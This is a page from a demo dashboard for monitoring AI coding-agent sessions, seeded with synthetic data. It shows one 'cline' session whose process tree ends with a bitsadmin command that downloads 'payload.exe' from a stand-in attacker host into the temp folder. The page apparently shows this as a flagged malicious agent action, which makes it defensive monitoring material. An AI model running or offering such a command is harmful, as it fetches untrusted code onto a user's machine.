DEMO Read-only showcase seeded with synthetic data. Sign-in, reviewing, rules, retention and alerts are disabled. Browse every page and session freely. Install on your fleet →
Session

dev-laptop-bill-high-109290803

cline on dev-laptop-bill · 1m14s · first 2026-04-22 17:19:55 · last 2026-04-22 17:21:09
Notes 0

No notes yet. Leave the first one so the next reviewer inherits the context.

Process tree · 3 processes · expand a row to see per-pid activity
  • root C:\Program Files\Git\cmd\git.exe pid 7936 · 2026-04-22T17:19:55.685563043Z · still running
  • root shell C:\Windows\System32\cmd.exe pid 9163 · 2026-04-22T17:21:07.685563043Z · still running
  • root shell C:\Program Files\Git\usr\bin\bash.exe pid 2044 · 2026-04-22T17:21:09.685563043Z · still running
    cmd.exe /c bitsadmin /transfer job http://evil.example/payload.exe %TEMP%\p.exe